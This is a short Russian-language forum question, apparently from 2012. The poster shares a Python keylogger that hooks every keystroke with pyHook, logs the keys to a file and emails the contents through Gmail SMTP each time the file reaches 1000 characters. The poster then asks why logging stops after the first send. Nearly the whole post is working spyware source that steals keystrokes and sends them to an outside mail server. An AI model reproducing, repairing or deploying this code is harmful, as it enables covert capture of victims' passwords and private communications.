Я работаю над простым кейлоггером -
import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")
def OnKeyboardEvent(event):
print "Key: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
checklog()
return True
def checklog():
f = open(path, "r")
x = f.read()
if len(x) == 1000:
server.sendmail("[email protected]", "[email protected]", x)
f.close()
f = open(path,"w")
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Он должен сохранять журналы в файл и отправлять по электронной почте, когда длина файла составляет 1000. Затем журнал очищается, и снова, когда длина составляет 1000, он отправляется по почте и т. Д. Но этот код не работает, файл отправляется на 1000, очищается, но не регистрируется снова . Где проблема? Спасибо
import logging.handlers
31.07.2012